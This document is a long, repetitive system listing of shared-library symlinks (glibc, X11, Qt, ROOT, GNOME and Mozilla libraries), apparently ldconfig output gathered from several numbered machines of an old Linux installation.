libkadm5srv.so.4 -> libkadm5srv.so.4.0 libkadm5clnt.so.4 -> libkadm5clnt.so.4.0 libk5crypto.so.3 -> libk5crypto.so.3.0 libgssrpc.so.3 -> libgssrpc.so.3.0 libpty.so.1 -> libpty.so.1.1 libdyn.so.1 -> libdyn.so.1.0 libdes425.so.3 -> libdes425.so.3.0 libcom_err.so.3 -> libcom_err.so.3.0 libgssapi_krb5.so.2 -> libgssapi_krb5.so.2.2 /usr/X11R6/lib: libMagick.so.5 -> libMagick.so.5.0.38 libXaw3d.so.7 -> libXaw3d.so.7.0 libXaw3d.so.6 -> libXaw3d.so.6.1 libXbae.so.4 -> libXbae.so.4.0.9 libxrx.so.6 -> libxrx.so.6.3 libpsres.so.1 -> libpsres.so.1.0 libdpstk.so.1 -> libdpstk.so.1.0 libdps.so.1 -> libdps.so.1.0 libXtst.so.6 -> libXtst.so.6.1 libXlt.so.0 -> libXlt.so.0.9.2 libXpm.so.4 -> libXpm.so.4.11 libXmuu.so.1 -> libXmuu.so.1.0 libXmu.so.6 -> libXmu.so.6.2 libXfont.so.1 -> libXfont.so.1.3 libXt.so.6 -> libXt.so.6.0 libXext.so.6 -> libXext.so.6.4 libXaw.so.7 -> libXaw.so.7.0 libXp.so.6 -> libXp.so.6.2 libXaw.so.6 -> libXaw.so.6.1 libXIE.so.6 -> libXIE.so.6.0 libX11.so.6 -> libX11.so.6.2 libXi.so.6 -> libXi.so.6.0 libSM.so.6 -> libSM.so.6.0 libXft.so.1 -> libXft.so.1.0 libPEX5.so.6 -> libPEX5.so.6.0 libXrender.so.1 -> libXrender.so.1.0 libICE.so.6 -> libICE.so.6.3 /usr/lib/qt-2.3.1/lib: libqutil.so.1 -> libqutil.so.1.0.0 libqt.so.2 -> libqt.so.2.3.1 libqt-mt.so.2 -> libqt-mt.so.2.3.1 /usr/lib/mysql: /usr/root/PRO/lib: libGeomPainter.so -> libGeomPainter.so libHbook.so -> libHbook.so libEGPythia.so -> libEGPythia.so libTable.so -> libTable.so libKrb5Auth.so -> libKrb5Auth.so libEGPythia6.so -> libEGPythia6.so libThread.so -> libThread.so libASImage.so -> libASImage.so libRFIO.so -> libRFIO.so libMySQL.so -> libMySQL.so libPgSQL.so -> libPgSQL.so libRGL.so -> libRGL.so libGX11.so -> libGX11.so libGX11TTF.so -> libGX11TTF.so libX3d.so -> libX3d.so libGeom.so -> libGeom.so libMC.so -> libMC.so libHtml.so -> libHtml.so libRint.so -> libRint.so libEG.so -> libEG.so libPostscript.so -> libPostscript.so libPhysics.so -> libPhysics.so libTreePlayer.so -> libTreePlayer.so libTreeViewer.so -> libTreeViewer.so libProof.so -> libProof.so libHistPainter.so -> libHistPainter.so libGui.so -> libGui.so libMinuit.so -> libMinuit.so libGraf3d.so -> libGraf3d.so libGpad.so -> libGpad.so libGraf.so -> libGraf.so libTree.so -> libTree.so libHist.so -> libHist.so libNew.so -> libNew.so libMatrix.so -> libMatrix.so libCore.so -> libCore.so libCint.so -> libCint.so 7 --------------------------------------------------------------------- /lib: libutil.so.1 -> libutil-2.2.4.so (changed) libthread_db.so.1 -> libthread_db-1.0.so (changed) libSegFault.so -> libSegFault.so librt.so.1 -> librt-2.2.4.so (changed) libresolv.so.2 -> libresolv-2.2.4.so (changed) libpthread.so.0 -> libpthread-0.9.so (changed) libpcprofile.so -> libpcprofile.so libnss_nisplus.so.2 -> libnss_nisplus-2.2.4.so (changed) libnss_nis.so.2 -> libnss_nis-2.2.4.so (changed) libnss_ldap.so.2 -> libnss_ldap-2.2.5.so (changed) libnss_hesiod.so.2 -> libnss_hesiod-2.2.4.so (changed) libnss_files.so.2 -> libnss_files-2.2.4.so (changed) libnss_dns.so.2 -> libnss_dns-2.2.4.so (changed) libnss_compat.so.2 -> libnss_compat-2.2.4.so (changed) libnss_nis.so.1 -> libnss1_nis-2.2.4.so (changed) libnss_files.so.1 -> libnss1_files-2.2.4.so (changed) libnss_dns.so.1 -> libnss1_dns-2.2.4.so (changed) libnss_compat.so.1 -> libnss1_compat-2.2.4.so (changed) libnsl.so.1 -> libnsl-2.2.4.so (changed) libNoVersion.so.1 -> libNoVersion-2.2.4.so (changed) libmemusage.so -> libmemusage.so libm.so.6 -> libm-2.2.4.so (changed) libdl.so.2 -> libdl-2.2.4.so (changed) libdb-3.2.so -> libdb-3.2.so libcrypt.so.1 -> libcrypt-2.2.4.so (changed) libc.so.6 -> libc-2.2.4.so (changed) libBrokenLocale.so.1 -> libBrokenLocale-2.2.4.so (changed) libanl.so.1 -> libanl-2.2.4.so (changed) ld-linux.so.2 -> ld-2.2.4.so (changed) /usr/lib: libmysqlclient_r.so.10 -> libmysqlclient_r.so.10.0.0 libmysqlclient.so.10 -> libmysqlclient.so.10.0.0 libopcodes-2.11.90.0.8.so -> libopcodes-2.11.90.0.8.so libpvm3.so.1 -> libpvm3.so.1 libsensors.so.1 -> libsensors.so.1.2.0 libpmpich.so.1 -> libpmpich.so.1.0 libmpich.so.1 -> libmpich.so.1.0 libfmpich.so.1 -> libfmpich.so.1.0 libbeomap.so.0.1 -> libbeomap.so.0.1 libisc.so.4 -> libisc.so.4.1.0 libldap_r.so.2 -> libldap_r.so.2.0.14 librpmio-4.0.4.so -> librpmio-4.0.4.so librpmdb-4.0.4.so -> librpmdb-4.0.4.so librpmbuild-4.0.4.so -> librpmbuild-4.0.4.so libssl3.so -> libssl3.so libsoftokn3.so -> libsoftokn3.so libsmime3.so -> libsmime3.so libprldap50.so -> libprldap50.so libldap50.so -> libldap50.so libnss3.so -> libnss3.so libswigtcl.so -> libswigtcl.so libswigpy.so -> libswigpy.so libnjamd.so.0 -> libnjamd.so.0.0.8 libnssckbi.so -> libnssckbi.so libmemintercept.so -> libmemintercept.so libgdkcardimage.so.0 -> libgdkcardimage.so.0.0.0 libmozz.so -> libmozz.so libobjc.so.1 -> libobjc.so.1.0.0 libdb_tcl-3.2.so -> libdb_tcl-3.2.so libbfd-2.11.90.0.8.so -> libbfd-2.11.90.0.8.so libxdelta.so.2 -> libxdelta.so.2.0.0 libedsio.so.0 -> libedsio.so.0.0.0 libostyle.so.0 -> libostyle.so.0.0.0 libospgrove.so.0 -> libospgrove.so.0.0.0 libosp.so.0 -> libosp.so.0.0.0 libogrove.so.0 -> libogrove.so.0.0.0 libmm.so.11 -> libmm.so.11.0.23 libgd.so.1.8 -> libgd.so.1.8.4 libcurl.so.1 -> libcurl.so.1.1.0 librpm-4.0.4.so -> librpm-4.0.4.so libmsgbaseutil.so -> libmsgbaseutil.so libesmtp.so.5 -> libesmtp.so.5.0.5 liblockdev.so.1 -> liblockdev.1.0.0.so libbproc.so.2 -> libbproc.so.2.2.5 libucdmibs.so.0 -> libucdmibs.so.0.4.2 libcapi20.so.2 -> libcapi20.so.2.0.6 libucdagent.so.0 -> libucdagent.so.0.4.2 libpcap.so.0.6.2 -> libpcap.so.0.6.2 libstdc++.so.2.8 -> libstdc++.so.2.8.0 libstdc++.so.2.7.2 -> libstdc++.so.2.7.2.8 libstdc++.so.2.9 -> libstdc++.so.2.9.dummy libg++.so.2.7.2 -> libg++.so.2.7.2.8 libxsltbreakpoint.so.1 -> libxsltbreakpoint.so.1.0.7 libstdc++-libc6.1-1.so.2 -> libstdc++-2-libc6.1-1-2.9.0.so libxmms.so.1 -> libxmms.so.1.1.0 libSDL_mixer-1.2.so.0 -> libSDL_mixer-1.2.so.0.0.0 libsmpeg-0.4.so.0 -> libsmpeg-0.4.so.0.1.3 libSDL_net-1.2.so.0 -> libSDL_net-1.2.so.0.0.2 libSDL_image-1.2.so.0 -> libSDL_image-1.2.so.0.0.0 libSDL-1.2.so.0 -> libSDL-1.2.so.0.0.2 libmikmod.so.2 -> libmikmod.so.2.0.2 libao.so.2 -> libao.so.2.0.1 libcdda_interface.so.0 -> libcdda_interface.so.0.9.8 libcdda_paranoia.so.0 -> libcdda_paranoia.so.0.9.8 libvorbisfile.so.0 -> libvorbisfile.so.0.1.0 libvorbisenc.so.0 -> libvorbisenc.so.0.0.1 libvorbis.so.0 -> libvorbis.so.0.0.1 libogg.so.0 -> libogg.so.0.2.0 libnautilus.so.0 -> libnautilus.so.0.0.0 libnautilus-tree-view.so.0 -> libnautilus-tree-view.so.0.0.0 libnautilus-private.so.0 -> libnautilus-private.so.0.0.0 libpanel_status.so.0 -> libpanel_status.so.0.0.0 libnautilus-adapter.so.0 -> libnautilus-adapter.so.0.0.0 libpanel_applet.so.0 -> libpanel_applet.so.0.0.1 libgen_util_applet.so.0 -> libgen_util_applet.so.0.0.0 libfish_applet.so.0 -> libfish_applet.so.0.0.0 libgtkhtml.so.9 -> libgtkhtml.so.9.1.0 libcapplet.so.0 -> libcapplet.so.0.0.0 libguilereadline.so.0 -> libguilereadline.so.0.0.0 libguile.so.6 -> libguile.so.6.0.0 libfam.so.0 -> libfam.so.0.0.0 libscrollkeeper.so.0 -> libscrollkeeper.so.0.0.0 libldap.so.2 -> libldap.so.2.0.14 libgnomevfs.so.0 -> libgnomevfs.so.0.0.0 libgnomevfs-pthread.so.0 -> libgnomevfs-pthread.so.0.0.0 libgconf-gtk-1.so.1 -> libgconf-gtk-1.so.1.0.0 libgconf-1.so.1 -> libgconf-1.so.1.0.0 libbonobo.so.2 -> libbonobo.so.2.0.0 libbonobo-print.so.2 -> libbonobo-print.so.2.0.0 libbonobox.so.2 -> libbonobox.so.2.0.0 liboaf.so.0 -> liboaf.so.0.0.0 libxpistub.so -> libxpistub.so libxpcom.so -> libxpcom.so libplds4.so -> libplds4.so libplc4.so -> libplc4.so libnspr4.so -> libnspr4.so libmozjs.so -> libmozjs.so libjsj.so -> libjsj.so libgtkxtbin.so -> libgtkxtbin.so libgtksuperwin.so -> libgtksuperwin.so libefs.so.1 -> libefs.so.1.0.0 libgkgfx.so -> libgkgfx.so libgtkembedmoz.so -> libgtkembedmoz.so libunicode.so.0 -> libunicode.so.0.0.0 librsvg.so.1 -> librsvg.so.1.0.0 librep.so.9 -> librep.so.9.1.5 libgnomeole2.so.0 -> libgnomeole2.so.0.0.0 libgtop_sysdeps.so.1 -> libgtop_sysdeps.so.1.0.11 libgtop_suid_common.so.1 -> libgtop_suid_common.so.1.0.11 libgtop_names.so.1 -> libgtop_names.so.1.0.11 libgtop_guile_names.so.1 -> libgtop_guile_names.so.1.0.11 libgtop_guile.so.1 -> libgtop_guile.so.1.0.11 libgtop_common.so.1 -> libgtop_common.so.1.0.11 libgtop.so.1 -> libgtop.so.1.0.11 libgal.so.7 -> libgal.so.7.0.0 libgnomeprint.so.15 -> libgnomeprint.so.15.1.9 libghttp.so.1 -> libghttp.so.1.0.0 libgnomecanvaspixbuf.so.1 -> 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libThread.so libASImage.so -> libASImage.so libRFIO.so -> libRFIO.so libMySQL.so -> libMySQL.so libPgSQL.so -> libPgSQL.so libRGL.so -> libRGL.so libGX11.so -> libGX11.so libGX11TTF.so -> libGX11TTF.so libX3d.so -> libX3d.so libGeom.so -> libGeom.so libMC.so -> libMC.so libHtml.so -> libHtml.so libRint.so -> libRint.so libEG.so -> libEG.so libPostscript.so -> libPostscript.so libPhysics.so -> libPhysics.so libTreePlayer.so -> libTreePlayer.so libTreeViewer.so -> libTreeViewer.so libProof.so -> libProof.so libHistPainter.so -> libHistPainter.so libGui.so -> libGui.so libMinuit.so -> libMinuit.so libGraf3d.so -> libGraf3d.so libGpad.so -> libGpad.so libGraf.so -> libGraf.so libTree.so -> libTree.so libHist.so -> libHist.so libNew.so -> libNew.so libMatrix.so -> libMatrix.so libCore.so -> libCore.so libCint.so -> libCint.so 9 --------------------------------------------------------------------- /lib: libutil.so.1 -> libutil-2.2.4.so (changed) libthread_db.so.1 -> libthread_db-1.0.so (changed) libSegFault.so -> libSegFault.so librt.so.1 -> librt-2.2.4.so (changed) libresolv.so.2 -> libresolv-2.2.4.so (changed) libpthread.so.0 -> libpthread-0.9.so (changed) libpcprofile.so -> libpcprofile.so libnss_nisplus.so.2 -> libnss_nisplus-2.2.4.so (changed) libnss_nis.so.2 -> libnss_nis-2.2.4.so (changed) libnss_ldap.so.2 -> libnss_ldap-2.2.5.so (changed) libnss_hesiod.so.2 -> libnss_hesiod-2.2.4.so (changed) libnss_files.so.2 -> libnss_files-2.2.4.so (changed) libnss_dns.so.2 -> libnss_dns-2.2.4.so (changed) libnss_compat.so.2 -> libnss_compat-2.2.4.so (changed) libnss_nis.so.1 -> libnss1_nis-2.2.4.so (changed) libnss_files.so.1 -> libnss1_files-2.2.4.so (changed) libnss_dns.so.1 -> libnss1_dns-2.2.4.so (changed) libnss_compat.so.1 -> libnss1_compat-2.2.4.so (changed) libnsl.so.1 -> libnsl-2.2.4.so (changed) libNoVersion.so.1 -> libNoVersion-2.2.4.so (changed) libmemusage.so -> libmemusage.so libm.so.6 -> libm-2.2.4.so (changed) libdl.so.2 -> libdl-2.2.4.so (changed) libdb-3.2.so -> libdb-3.2.so libcrypt.so.1 -> libcrypt-2.2.4.so (changed) libc.so.6 -> libc-2.2.4.so (changed) libBrokenLocale.so.1 -> libBrokenLocale-2.2.4.so (changed) libanl.so.1 -> libanl-2.2.4.so (changed) ld-linux.so.2 -> ld-2.2.4.so (changed) /usr/lib: libmysqlclient_r.so.10 -> libmysqlclient_r.so.10.0.0 libmysqlclient.so.10 -> libmysqlclient.so.10.0.0 libopcodes-2.11.90.0.8.so -> libopcodes-2.11.90.0.8.so libpvm3.so.1 -> libpvm3.so.1 libsensors.so.1 -> libsensors.so.1.2.0 libpmpich.so.1 -> libpmpich.so.1.0 libmpich.so.1 -> libmpich.so.1.0 libfmpich.so.1 -> libfmpich.so.1.0 libbeomap.so.0.1 -> libbeomap.so.0.1 libisc.so.4 -> libisc.so.4.1.0 libldap_r.so.2 -> libldap_r.so.2.0.14 librpmio-4.0.4.so -> librpmio-4.0.4.so librpmdb-4.0.4.so -> librpmdb-4.0.4.so librpmbuild-4.0.4.so -> librpmbuild-4.0.4.so libssl3.so -> libssl3.so libsoftokn3.so -> libsoftokn3.so libsmime3.so -> libsmime3.so libprldap50.so -> libprldap50.so libldap50.so -> libldap50.so libnss3.so -> libnss3.so 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libpcap.so.0.6.2 libstdc++.so.2.8 -> libstdc++.so.2.8.0 libstdc++.so.2.7.2 -> libstdc++.so.2.7.2.8 libstdc++.so.2.9 -> libstdc++.so.2.9.dummy libg++.so.2.7.2 -> libg++.so.2.7.2.8 libxsltbreakpoint.so.1 -> libxsltbreakpoint.so.1.0.7 libstdc++-libc6.1-1.so.2 -> libstdc++-2-libc6.1-1-2.9.0.so libxmms.so.1 -> libxmms.so.1.1.0 libSDL_mixer-1.2.so.0 -> libSDL_mixer-1.2.so.0.0.0 libsmpeg-0.4.so.0 -> libsmpeg-0.4.so.0.1.3 libSDL_net-1.2.so.0 -> libSDL_net-1.2.so.0.0.2 libSDL_image-1.2.so.0 -> libSDL_image-1.2.so.0.0.0 libSDL-1.2.so.0 -> libSDL-1.2.so.0.0.2 libmikmod.so.2 -> libmikmod.so.2.0.2 libao.so.2 -> libao.so.2.0.1 libcdda_interface.so.0 -> libcdda_interface.so.0.9.8 libcdda_paranoia.so.0 -> libcdda_paranoia.so.0.9.8 libvorbisfile.so.0 -> libvorbisfile.so.0.1.0 libvorbisenc.so.0 -> libvorbisenc.so.0.0.1 libvorbis.so.0 -> libvorbis.so.0.0.1 libogg.so.0 -> libogg.so.0.2.0 libnautilus.so.0 -> libnautilus.so.0.0.0 libnautilus-tree-view.so.0 -> libnautilus-tree-view.so.0.0.0 libnautilus-private.so.0 -> libnautilus-private.so.0.0.0 libpanel_status.so.0 -> libpanel_status.so.0.0.0 libnautilus-adapter.so.0 -> libnautilus-adapter.so.0.0.0 libpanel_applet.so.0 -> libpanel_applet.so.0.0.1 libgen_util_applet.so.0 -> libgen_util_applet.so.0.0.0 libfish_applet.so.0 -> libfish_applet.so.0.0.0 libgtkhtml.so.9 -> libgtkhtml.so.9.1.0 libcapplet.so.0 -> libcapplet.so.0.0.0 libguilereadline.so.0 -> libguilereadline.so.0.0.0 libguile.so.6 -> libguile.so.6.0.0 libfam.so.0 -> libfam.so.0.0.0 libscrollkeeper.so.0 -> libscrollkeeper.so.0.0.0 libldap.so.2 -> libldap.so.2.0.14 libgnomevfs.so.0 -> libgnomevfs.so.0.0.0 libgnomevfs-pthread.so.0 -> libgnomevfs-pthread.so.0.0.0 libgconf-gtk-1.so.1 -> libgconf-gtk-1.so.1.0.0 libgconf-1.so.1 -> libgconf-1.so.1.0.0 libbonobo.so.2 -> libbonobo.so.2.0.0 libbonobo-print.so.2 -> libbonobo-print.so.2.0.0 libbonobox.so.2 -> libbonobox.so.2.0.0 liboaf.so.0 -> liboaf.so.0.0.0 libxpistub.so -> libxpistub.so libxpcom.so -> libxpcom.so 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liblockdev.so.1 -> liblockdev.1.0.0.so libbproc.so.2 -> libbproc.so.2.2.5 libucdmibs.so.0 -> libucdmibs.so.0.4.2 libcapi20.so.2 -> libcapi20.so.2.0.6 libucdagent.so.0 -> libucdagent.so.0.4.2 libpcap.so.0.6.2 -> libpcap.so.0.6.2 libstdc++.so.2.8 -> libstdc++.so.2.8.0 libstdc++.so.2.7.2 -> libstdc++.so.2.7.2.8 libstdc++.so.2.9 -> libstdc++.so.2.9.dummy libg++.so.2.7.2 -> libg++.so.2.7.2.8 libxsltbreakpoint.so.1 -> libxsltbreakpoint.so.1.0.7 libstdc++-libc6.1-1.so.2 -> libstdc++-2-libc6.1-1-2.9.0.so libxmms.so.1 -> libxmms.so.1.1.0 libSDL_mixer-1.2.so.0 -> libSDL_mixer-1.2.so.0.0.0 libsmpeg-0.4.so.0 -> libsmpeg-0.4.so.0.1.3 libSDL_net-1.2.so.0 -> libSDL_net-1.2.so.0.0.2 libSDL_image-1.2.so.0 -> libSDL_image-1.2.so.0.0.0 libSDL-1.2.so.0 -> libSDL-1.2.so.0.0.2 libmikmod.so.2 -> libmikmod.so.2.0.2 libao.so.2 -> libao.so.2.0.1 libcdda_interface.so.0 -> libcdda_interface.so.0.9.8 libcdda_paranoia.so.0 -> libcdda_paranoia.so.0.9.8 libvorbisfile.so.0 -> libvorbisfile.so.0.1.0 libvorbisenc.so.0 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libTable.so -> libTable.so libKrb5Auth.so -> libKrb5Auth.so libEGPythia6.so -> libEGPythia6.so libThread.so -> libThread.so libASImage.so -> libASImage.so libRFIO.so -> libRFIO.so libMySQL.so -> libMySQL.so libPgSQL.so -> libPgSQL.so libRGL.so -> libRGL.so libGX11.so -> libGX11.so libGX11TTF.so -> libGX11TTF.so libX3d.so -> libX3d.so libGeom.so -> libGeom.so libMC.so -> libMC.so libHtml.so -> libHtml.so libRint.so -> libRint.so libEG.so -> libEG.so libPostscript.so -> libPostscript.so libPhysics.so -> libPhysics.so libTreePlayer.so -> libTreePlayer.so libTreeViewer.so -> libTreeViewer.so libProof.so -> libProof.so libHistPainter.so -> libHistPainter.so libGui.so -> libGui.so libMinuit.so -> libMinuit.so libGraf3d.so -> libGraf3d.so libGpad.so -> libGpad.so libGraf.so -> libGraf.so libTree.so -> libTree.so libHist.so -> libHist.so libNew.so -> libNew.so libMatrix.so -> libMatrix.so libCore.so -> libCore.so libCint.so -> libCint.so 11 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libNoVersion.so.1 -> libNoVersion-2.2.4.so (changed) libmemusage.so -> libmemusage.so libm.so.6 -> libm-2.2.4.so (changed) libdl.so.2 -> libdl-2.2.4.so (changed) libdb-3.2.so -> libdb-3.2.so libcrypt.so.1 -> libcrypt-2.2.4.so (changed) libc.so.6 -> libc-2.2.4.so (changed) libBrokenLocale.so.1 -> libBrokenLocale-2.2.4.so (changed) libanl.so.1 -> libanl-2.2.4.so (changed) ld-linux.so.2 -> ld-2.2.4.so (changed) /usr/lib: libmysqlclient_r.so.10 -> libmysqlclient_r.so.10.0.0 libmysqlclient.so.10 -> libmysqlclient.so.10.0.0 libopcodes-2.11.90.0.8.so -> libopcodes-2.11.90.0.8.so libpvm3.so.1 -> libpvm3.so.1 libsensors.so.1 -> libsensors.so.1.2.0 libpmpich.so.1 -> libpmpich.so.1.0 libmpich.so.1 -> libmpich.so.1.0 libfmpich.so.1 -> libfmpich.so.1.0 libbeomap.so.0.1 -> libbeomap.so.0.1 libisc.so.4 -> libisc.so.4.1.0 libldap_r.so.2 -> libldap_r.so.2.0.14 librpmio-4.0.4.so -> librpmio-4.0.4.so librpmdb-4.0.4.so -> librpmdb-4.0.4.so librpmbuild-4.0.4.so -> librpmbuild-4.0.4.so libssl3.so -> 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libbproc.so.2.2.5 libucdmibs.so.0 -> libucdmibs.so.0.4.2 libcapi20.so.2 -> libcapi20.so.2.0.6 libucdagent.so.0 -> libucdagent.so.0.4.2 libpcap.so.0.6.2 -> libpcap.so.0.6.2 libstdc++.so.2.8 -> libstdc++.so.2.8.0 libstdc++.so.2.7.2 -> libstdc++.so.2.7.2.8 libstdc++.so.2.9 -> libstdc++.so.2.9.dummy libg++.so.2.7.2 -> libg++.so.2.7.2.8 libxsltbreakpoint.so.1 -> libxsltbreakpoint.so.1.0.7 libstdc++-libc6.1-1.so.2 -> libstdc++-2-libc6.1-1-2.9.0.so libxmms.so.1 -> libxmms.so.1.1.0 libSDL_mixer-1.2.so.0 -> libSDL_mixer-1.2.so.0.0.0 libsmpeg-0.4.so.0 -> libsmpeg-0.4.so.0.1.3 libSDL_net-1.2.so.0 -> libSDL_net-1.2.so.0.0.2 libSDL_image-1.2.so.0 -> libSDL_image-1.2.so.0.0.0 libSDL-1.2.so.0 -> libSDL-1.2.so.0.0.2 libmikmod.so.2 -> libmikmod.so.2.0.2 libao.so.2 -> libao.so.2.0.1 libcdda_interface.so.0 -> libcdda_interface.so.0.9.8 libcdda_paranoia.so.0 -> libcdda_paranoia.so.0.9.8 libvorbisfile.so.0 -> libvorbisfile.so.0.1.0 libvorbisenc.so.0 -> libvorbisenc.so.0.0.1 libvorbis.so.0 -> libvorbis.so.0.0.1 libogg.so.0 -> libogg.so.0.2.0 libnautilus.so.0 -> libnautilus.so.0.0.0 libnautilus-tree-view.so.0 -> libnautilus-tree-view.so.0.0.0 libnautilus-private.so.0 -> libnautilus-private.so.0.0.0 libpanel_status.so.0 -> libpanel_status.so.0.0.0 libnautilus-adapter.so.0 -> libnautilus-adapter.so.0.0.0 libpanel_applet.so.0 -> libpanel_applet.so.0.0.1 libgen_util_applet.so.0 -> libgen_util_applet.so.0.0.0 libfish_applet.so.0 -> libfish_applet.so.0.0.0 libgtkhtml.so.9 -> libgtkhtml.so.9.1.0 libcapplet.so.0 -> libcapplet.so.0.0.0 libguilereadline.so.0 -> libguilereadline.so.0.0.0 libguile.so.6 -> libguile.so.6.0.0 libfam.so.0 -> libfam.so.0.0.0 libscrollkeeper.so.0 -> libscrollkeeper.so.0.0.0 libldap.so.2 -> libldap.so.2.0.14 libgnomevfs.so.0 -> libgnomevfs.so.0.0.0 libgnomevfs-pthread.so.0 -> libgnomevfs-pthread.so.0.0.0 libgconf-gtk-1.so.1 -> libgconf-gtk-1.so.1.0.0 libgconf-1.so.1 -> libgconf-1.so.1.0.0 libbonobo.so.2 -> libbonobo.so.2.0.0 libbonobo-print.so.2 -> libbonobo-print.so.2.0.0 libbonobox.so.2 -> libbonobox.so.2.0.0 liboaf.so.0 -> liboaf.so.0.0.0 libxpistub.so -> libxpistub.so libxpcom.so -> libxpcom.so libplds4.so -> libplds4.so libplc4.so -> libplc4.so libnspr4.so -> libnspr4.so libmozjs.so -> libmozjs.so libjsj.so -> libjsj.so libgtkxtbin.so -> libgtkxtbin.so libgtksuperwin.so -> libgtksuperwin.so libefs.so.1 -> libefs.so.1.0.0 libgkgfx.so -> libgkgfx.so libgtkembedmoz.so -> libgtkembedmoz.so libunicode.so.0 -> libunicode.so.0.0.0 librsvg.so.1 -> librsvg.so.1.0.0 librep.so.9 -> librep.so.9.1.5 libgnomeole2.so.0 -> libgnomeole2.so.0.0.0 libgtop_sysdeps.so.1 -> libgtop_sysdeps.so.1.0.11 libgtop_suid_common.so.1 -> libgtop_suid_common.so.1.0.11 libgtop_names.so.1 -> libgtop_names.so.1.0.11 libgtop_guile_names.so.1 -> libgtop_guile_names.so.1.0.11 libgtop_guile.so.1 -> libgtop_guile.so.1.0.11 libgtop_common.so.1 -> libgtop_common.so.1.0.11 libgtop.so.1 -> libgtop.so.1.0.11 libgal.so.7 -> libgal.so.7.0.0 libgnomeprint.so.15 -> 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libTable.so libKrb5Auth.so -> libKrb5Auth.so libEGPythia6.so -> libEGPythia6.so libThread.so -> libThread.so libASImage.so -> libASImage.so libRFIO.so -> libRFIO.so libMySQL.so -> libMySQL.so libPgSQL.so -> libPgSQL.so libRGL.so -> libRGL.so libGX11.so -> libGX11.so libGX11TTF.so -> libGX11TTF.so libX3d.so -> libX3d.so libGeom.so -> libGeom.so libMC.so -> libMC.so libHtml.so -> libHtml.so libRint.so -> libRint.so libEG.so -> libEG.so libPostscript.so -> libPostscript.so libPhysics.so -> libPhysics.so libTreePlayer.so -> libTreePlayer.so libTreeViewer.so -> libTreeViewer.so libProof.so -> libProof.so libHistPainter.so -> libHistPainter.so libGui.so -> libGui.so libMinuit.so -> libMinuit.so libGraf3d.so -> libGraf3d.so libGpad.so -> libGpad.so libGraf.so -> libGraf.so libTree.so -> libTree.so libHist.so -> libHist.so libNew.so -> libNew.so libMatrix.so -> libMatrix.so libCore.so -> libCore.so libCint.so -> libCint.so 12 --------------------------------------------------------------------- /lib: libutil.so.1 -> libutil-2.2.4.so (changed) libthread_db.so.1 -> libthread_db-1.0.so (changed) libSegFault.so -> libSegFault.so librt.so.1 -> librt-2.2.4.so (changed) libresolv.so.2 -> libresolv-2.2.4.so (changed) libpthread.so.0 -> libpthread-0.9.so (changed) libpcprofile.so -> libpcprofile.so libnss_nisplus.so.2 -> libnss_nisplus-2.2.4.so (changed) libnss_nis.so.2 -> libnss_nis-2.2.4.so (changed) libnss_ldap.so.2 -> libnss_ldap-2.2.5.so (changed) libnss_hesiod.so.2 -> libnss_hesiod-2.2.4.so (changed) libnss_files.so.2 -> libnss_files-2.2.4.so (changed) libnss_dns.so.2 -> libnss_dns-2.2.4.so (changed) libnss_compat.so.2 -> libnss_compat-2.2.4.so (changed) libnss_nis.so.1 -> libnss1_nis-2.2.4.so (changed) libnss_files.so.1 -> libnss1_files-2.2.4.so (changed) libnss_dns.so.1 -> libnss1_dns-2.2.4.so (changed) libnss_compat.so.1 -> libnss1_compat-2.2.4.so (changed) libnsl.so.1 -> libnsl-2.2.4.so (changed) libNoVersion.so.1 -> libNoVersion-2.2.4.so (changed) libmemusage.so -> libmemusage.so libm.so.6 -> libm-2.2.4.so (changed) libdl.so.2 -> libdl-2.2.4.so (changed) libdb-3.2.so -> libdb-3.2.so libcrypt.so.1 -> libcrypt-2.2.4.so (changed) libc.so.6 -> libc-2.2.4.so (changed) libBrokenLocale.so.1 -> libBrokenLocale-2.2.4.so (changed) libanl.so.1 -> libanl-2.2.4.so (changed) ld-linux.so.2 -> ld-2.2.4.so (changed) /usr/lib: libmysqlclient_r.so.10 -> libmysqlclient_r.so.10.0.0 libmysqlclient.so.10 -> libmysqlclient.so.10.0.0 libopcodes-2.11.90.0.8.so -> libopcodes-2.11.90.0.8.so libpvm3.so.1 -> libpvm3.so.1 libsensors.so.1 -> libsensors.so.1.2.0 libpmpich.so.1 -> libpmpich.so.1.0 libmpich.so.1 -> libmpich.so.1.0 libfmpich.so.1 -> libfmpich.so.1.0 libbeomap.so.0.1 -> libbeomap.so.0.1 libisc.so.4 -> libisc.so.4.1.0 libldap_r.so.2 -> libldap_r.so.2.0.14 librpmio-4.0.4.so -> librpmio-4.0.4.so librpmdb-4.0.4.so -> librpmdb-4.0.4.so librpmbuild-4.0.4.so -> librpmbuild-4.0.4.so libssl3.so -> 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libMagick.so.5 -> libMagick.so.5.0.38 libXaw3d.so.7 -> libXaw3d.so.7.0 libXaw3d.so.6 -> libXaw3d.so.6.1 libXbae.so.4 -> libXbae.so.4.0.9 libxrx.so.6 -> libxrx.so.6.3 libpsres.so.1 -> libpsres.so.1.0 libdpstk.so.1 -> libdpstk.so.1.0 libdps.so.1 -> libdps.so.1.0 libXtst.so.6 -> libXtst.so.6.1 libXlt.so.0 -> libXlt.so.0.9.2 libXpm.so.4 -> libXpm.so.4.11 libXmuu.so.1 -> libXmuu.so.1.0 libXmu.so.6 -> libXmu.so.6.2 libXfont.so.1 -> libXfont.so.1.3 libXt.so.6 -> libXt.so.6.0 libXext.so.6 -> libXext.so.6.4 libXaw.so.7 -> libXaw.so.7.0 libXp.so.6 -> libXp.so.6.2 libXaw.so.6 -> libXaw.so.6.1 libXIE.so.6 -> libXIE.so.6.0 libX11.so.6 -> libX11.so.6.2 libXi.so.6 -> libXi.so.6.0 libSM.so.6 -> libSM.so.6.0 libXft.so.1 -> libXft.so.1.0 libPEX5.so.6 -> libPEX5.so.6.0 libXrender.so.1 -> libXrender.so.1.0 libICE.so.6 -> libICE.so.6.3 /usr/lib/qt-2.3.1/lib: libqutil.so.1 -> libqutil.so.1.0.0 libqt.so.2 -> libqt.so.2.3.1 libqt-mt.so.2 -> libqt-mt.so.2.3.1 /usr/lib/mysql: /usr/root/PRO/lib: libGeomPainter.so -> libGeomPainter.so libHbook.so -> libHbook.so libEGPythia.so -> libEGPythia.so libTable.so -> libTable.so libKrb5Auth.so -> libKrb5Auth.so libEGPythia6.so -> libEGPythia6.so libThread.so -> libThread.so libASImage.so -> libASImage.so libRFIO.so -> libRFIO.so libMySQL.so -> libMySQL.so libPgSQL.so -> libPgSQL.so libRGL.so -> libRGL.so libGX11.so -> libGX11.so libGX11TTF.so -> libGX11TTF.so libX3d.so -> libX3d.so libGeom.so -> libGeom.so libMC.so -> libMC.so libHtml.so -> libHtml.so libRint.so -> libRint.so libEG.so 